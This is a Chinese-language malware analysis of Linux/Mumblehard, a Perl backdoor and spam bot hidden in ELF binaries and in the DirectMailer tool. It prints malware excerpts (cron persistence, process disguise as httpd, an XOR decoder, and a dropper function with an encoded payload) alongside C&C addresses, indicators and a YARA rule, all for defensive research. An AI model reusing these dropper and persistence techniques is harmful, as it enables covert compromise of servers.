深度分析惡意軟件Mumblehard
0x00 簡介
我們發現Linux/ Mumblehard的原因來自于某天某網管聯系我們，他的服務器因為不斷發送垃圾郵件被列入了黑名單。我們dump了服務器上其中一個奇怪進程的內存，這玩意連接到了一個不同的SMTP服務器，并發送垃圾郵件。dump下來的內存顯示這玩意是一個，唔，perl解釋器，隨之我們在/tmp目錄發現了一個相關的可執行文件，并且立即開始著手分析，為了方便我們給這玩意起名Mumblehard。
說實話我們對這玩意產生了極大的興趣，因為在惡意軟件中，perl腳本被封裝在ELF可執行文件中是很少見的，至少這玩意比起其他來說要更加復雜一些。另外一點是我們發現這款惡意軟件與一家叫Yellsoft的軟件公司存在很大的聯系，而第一個被發現的樣本在09年提交到VirusTotal。
Figure 1. Wayback Machine上顯示的Yellsoft主頁
我們對所發現已經確認遭到感染的系統進行了調查，確認了兩種可能的傳播方式，最常見的利用Joomla和Wordpress的exp進行傳播，另外一種是通過分布式的后門，Yellsoft在他們主頁上銷售一種叫DirectMailer的軟件，240美刀，其中裝有特殊的后門。
這篇paper描述了惡意軟件中的組件的分析，以及我們對受害者的統計調查，還有那家神秘的Yellsoft。
0x01 惡意軟件分析
我們分析了兩種不同的惡意軟件組件，第一個是一個通用的后門，向C&C服務器請求一個命令，該命令包含一個網址，然后通過這個網址下載惡意文件并且執行，第二個是一種多功能的垃圾郵件發送器的程序。這兩個組件都使用perl進行編寫，然后使用一個匯編寫的特殊加殼器進行混淆，最終隱藏到一個ELF格式的二進制文件中。
下面的圖顯示了惡意軟件和C&C服務器之間的關系。
Figure 2. Linux/Mumblehard的交互
下面我們會先解析加殼器的細節，然后在描述后門和郵件發送器的功能。
1.1 ELF二進制中的perl殼
最初引起我們興趣的是惡意軟件的加殼器，簡單看看反匯編代碼，我們可以很明顯的看出，加殼器是直接使用匯編進行編寫，整個加殼大約使用了200個匯編指令。這個觀察來源于兩個點，一個是他們直接使用int 80指令進行系統中斷，另一個是它們并不適用常見的方式進行堆棧管理。
通過其系統調用的方式，可執行文件可以避免任何的外部依賴，同時，加殼器被確認適用于linux和bsd系統。因為系統進行了系統調用13，并傳入了參數0，該系統調用對應到linux的時間，和BSD的標準輸入。在BSD上該調用失敗后會返回一個負數到eax上，而linux上會返回一個正數表示從1970年到今天過了幾秒。
Figure 3. system call 13
之后會fork()一個perl解釋器("/usr/bin/perl", ...)然后通過標準輸入將perl腳本發送給進程。并且使用系統調用pipe和dup2來處理文件描述符。這一來父進程就可以將解密后的perl腳本寫入解釋器。#p#
1.2 perl后門
后門實際上只有一個簡單的任務，就是從C&C服務器上請求一條命令，并且返回其是否成功。不過后門并不會使用daemonize來進行進程守護，他直接使用crontab來每15分鐘執行一次。
- $ crontab -l
- */15 * * * * /var/tmp/qCVwOWA >/dev/null 2>&1
并且還通過分配$0來將自己偽裝成httpd。
- $0 = "httpd";
每次運行，后門都會向列表中的后門發送一條查詢請求命令，就算某臺已經返回過有效的命令。
綜合來說該后門只支持一條命令:0x10下載并執行。我們分析了手頭的樣本整理出了下面這樣的list，事實上，只有ip：194.54.81.163返回過命令，其他應該都是掛掉了，比如，域名behance.net 在2005年被adobe收購。
• 184.106.208.157 • 194.54.81.163 • advseedpromoan.com • 50.28.24.79 • 67.221.183.105 • seoratingonlyup.net • advertise.com • 195.242.70.4 • pratioupstudios.org • behance.net
1.2.1 C&C通信
Mumblehard使用http的get對每臺C&C服務器發送請求，將返回的命令隱藏在http響應頭的Set-Cookie中，來逃避一些數據包的檢測。
一個請求的例子
123456789HTTP/1.0 200 OK
- HTTP/1.0 200 OK
- Date: Sat, 14 Feb 2015 23:01:57 GMT
- Server: Apache/1.3.41 (Unix)
- Set-Cookie: PHPSESSID=260518103c38332d35373729393e39253e3c3b207f66736577722861646b6c
- 697e217c647066603a7f66706363606f61; path=/
- Content-Length: 18
- Connection: close
- Content-Type: text/html
- under construction
PHPSESSID cookie值進行了hex進行編碼，并且通過自定義的算法進行加密，該加密算法與加殼器中用來加密perl腳本的算法是相同的.
Figure 4. 用匯編寫的加密算法
perl版加密
- sub xorl {
- my ($line, $code, $xor, $lim) = (shift, "", 1, 16);
- foreach my $chr (split (//, $line)) {
- if ($xor == $lim) {
- $lim = 0 if $lim == 256;
- $lim += 16;
- $xor = 1;
- }
- $code .= pack ("C", unpack ("C", $chr) ^ $xor);
- $xor ++;
- }
- return $code;
- }
一旦解密，下面的信息回從cookie中提取出來。
這里有一個解密后的信息的例子。
Mumblehard后門的user-agent
Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1
該user-agent被驗證與windows7上Firefox 7.0.1的user-agent相同。不過在下載完成后，惡意軟件會向服務器發送請求報告是否下載了文件，該信息隱藏在user-agent中，格式大概是下面這個樣子
Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/. . Firefox/7.0.1
一個實際的例子
Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/24.200.56013 Firefox/7.0.1
#p#
1.3 perl惡意郵件發送器
該惡意軟件發送器也是perl寫的，并且加殼后嵌入elf可執行文件，目的在于向C&C請求任務，并且發送惡意郵件，Mumblehard支持大部分一個惡意郵件發送器會有的功能，模板，報表，SMTP執行等，我們會將接下來的內容限制在其中的一些獨特的功能和網絡協議等。
perl本身是兼容多個操作系統的，所以我們認為該惡意軟件是針對多個類型的操作系統為目標，不過其中的EWOULDBLOCK和EINPROGRESS常量是不可移植的，盡管如此，該惡意軟件的常量還是可以兼容Linux, FreeBSD and Windows。目前我們抓到的樣本是無法在windows上運行的，不過也可能表示針對windows平臺他們開發了不同類型的加殼器。
其中的perl
- if ( $^O eq "linux" ) { $ewblock = 11; $eiprogr = 115; }
- if ( $^O eq "freebsd" ) { $ewblock = 35; $eiprogr = 36; }
- if ( $^O eq "MSWin32" ) { $ewblock = 10035; $eiprogr = 10036; }
這玩意有兩種方式發送惡意郵件，一種是請求C&C服務器上的一個任務，第二種是開啟一個代理。
1.3.1 C&C通信
C&C服務器運行在端口25上，惡意郵件發送器可以通過post請求發送二進制數據，內容如下表
不過這些數據似乎只在一種情況下會被使用，比如統計有多少服務器在發郵件啥的。它存在4個32位的整數頭。
任務的表示符
成功的郵件數目
網絡問題失敗的郵件數目
被SMTP服務器拒絕的郵件數目
惡意主機還可以自定義發送報告的詳細程度，其中有三個級別，最低的一級只有數字，中級包括電子郵件地址，最高一級包括成功或者失敗的原因。最初的請求，服務器會返回一個200的響應，包含設置，電子郵件列表，和垃圾郵件模版。
1.3.2 代理功能的特點
我們分析的大多數的樣本中都包含一個通用的代理組件，工作原理很簡單，監聽tcp端口的連接，并且發送通知，只有c&c服務器的連接允許連接到該端口，但是內部有一個list，可以自定義添加允許的連接。不過其實只有兩條命令會被代理組件識別。
添加ip地址到允許列表
創建一個新的tcp隧道
下面是用作參考的協議內容
在創建連接時候實際上使用的是通過SOCKS4協議進行實現，這個功能允許黑客傳輸任意的流量到服務器，不過蛋疼的是我們并沒有見該功能使用過，所以并無法斷定是用于什么。#p#
1.3.3 惡意郵件內容
我們跟蹤了大量的惡意郵件，發現主要是用于推廣一些藥物產品，并且還有產品官方的鏈接，這里是其中一個例子。
該惡意郵件的鏈接販賣解決性功能障礙的藥物的網站。
具體網站為加拿大的spamtrackers.eu ，不過其消息頭貌似是使用隨機的詞。
Million-Explosively-Arrogance: B77FE821EAB1 Copes-Horribly: 881976c526e6 Formants-Carmichael-Cutlet: consistency Interoffice-Gastronome-Unmodified: d41f7ebe89a
目前還不知道將其添加到反垃圾郵件簽名是否有效果，不過我們認為是有的。
0x02 被感染主機的統計
其中惡意服務器支持的C&C域名其中一部分已經失效，所以我們購買了其中的域名來監控受到感染的服務器，我們使用了惡意軟件中用到的特殊的user-agent來進行監控。
下面是我們收集的2014年9月19日到2015年4月22日的數據，大概存在8,867個ip進行連接，其中大部分是用于網站托管的服務器。
(此處省略部分關于統計的細節)
0x03 WHO IS YELLSOFT?
樣本中的C&C服務器的ip范圍位于 194.54.81.162 到194.54.81.164
194.54.81.162:53 Hardcoded DNS server in Mumblehard’s spammer 194.54.81.163:54321 Report from Mumblehard’s proxy is open 194.54.81.163:25 C&C server for Mumblehard’s spammer 194.54.81.164:25 C&C server for Mumblehard’s spammer
如果你檢查下面的兩個ip，你會發現他們都是194.54.81.165和194.54.81.166的名稱服務器，其中yellsoft.net web服務器托管 在194.54.81.166，其中162到166的ip的ns和soa都是相同的，這可以表明，這5個ip都是托管在同一臺服務器上。
- $ dig +short -x 194.54.81 SOA | uniq -c
- 1 ns1.rx-name.net. hostmaster.81.54.194.in-addr.arpa. 2015031209 28800 7200 604800 86400
- $ for i in 2 3 4 5 6; do dig +short -x 194.54.81 SOA @194.54.81.16$i; done | uniq -c
- 5 ns1.yellsoft.net. support.yellsoft.net. 2013051501 600 300 604800 600
那么Yellsoft是干嘛的，他們銷售一種perl編寫的批量郵件發送工具，叫DirectMailer。運行在UNIX系統上。
#p#3.1 DirectMailer分析
其主頁上告訴訪客，他們不提供直接下載，下載地址被托管在narod.ru上，我們可以從上面得到副本。在2014年我們下載了一個叫 directmailer-retail.zip 的壓縮包，之后ESET講其識別為惡意軟件后，該軟件就不再被放置于softexp.narod.ru上。
zip包含一個dm.pl 文件，不過其為elf可執行文件，打包了各種perl腳本。在主程序啟動之前，程序會調用一個bdrp的函數，該函數有一個uuencoded編碼的blob，解碼運行后會生成另一個ELF可執行文件，包含一個加殼后的perl腳本，它會被寫入文件系統和cron 15分鐘運行一次。很熟悉是不?
bdrp函數
- sub bdrp {
- my $bdrp = <<'BDRPDATA';
- M?T5,1@$!`0D```````````(``P`!````3(`$""P``````````````#0`(``!
- M``````````"`!`@`@`0("1H``!X>```'`````!```(DE"9H$"+@-````,=M3
- ...
- M)S5I=6=\9&(Z-WQT>'-T?#,@/'YR<%-$`@=,1$A#1$P1"U$-7$I$1$!=#Q5+
- %%T491S$`
- BDRPDATA
- $bdrp = unpack( "u*", $bdrp );
- foreach my $bdrpp ( "/var/tmp", "/tmp" ) {
- # Delete all executable files in temporary directory
- # (delete existing Mumblehard installation)
- for (<$bdrpp/*>) { unlink $_ if ( -f $_ && ( -x $_ || -X $_ ) ); }
- # Create random file name
- my $bdrpn = [ "a" .. "z", "A" .. "Z" ];
- $bdrpn = join( "",
- @$bdrpn[ map { rand @$bdrpn } ( 1 .. ( 6 + int rand 5 ) ) ] );
- my $bdrpb = "$bdrpp/$bdrpn";
- my $bdrpc = $bdrpb . int rand 9;
- # crontab job to add (runs every 15 minutes)
- my $bdrpt = "*/15 * * * * $bdrpb >/dev/null 2>&1\n";
- if ( open( B, ">", $bdrpb ) ) {
- # Drop file and install job with crontab
- [...]
- }
- }
- }
0x04 結論
惡意軟件正在變的越來越復雜，另一個令人擔憂的是Mumblehard的運營這么多年一直沒中斷過。
附錄A
UDP packets to
• 194.54.81.162 port 53
TCP connections to
• 194.54.81.163 port 80 (backdoor) • 194.54.81.163 port 54321 (proxy) • 194.54.81.163 port 25 (spammer) • 194.54.81.164 port 25 (spammer)
HTTP requests with the following User-Agent pattern
• Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/<1 or more digits>. <1 ormore digits>.<1 or more digits> Firefox/7.0.1
yara rule
- rule mumblehard_packer
- {
- meta:
- description = "Mumblehard i386 assembly code responsible for decrypting Perl
- code"
- author = "Marc-Etienne M.Léveillé"
- date = "2015-04-07"
- reference = "http://www.welivesecurity.com"
- version = "1"
- strings:
- $decrypt = { 31 db [1-10] ba ?? 00 00 00 [0-6] (56 5f | 89 F7)
- 39 d3 75 13 81 fa ?? 00 00 00 75 02 31 d2 81 c2 ?? 00 00
- 00 31 db 43 ac 30 d8 aa 43 e2 e2 }
- condition:
- $decrypt
- }
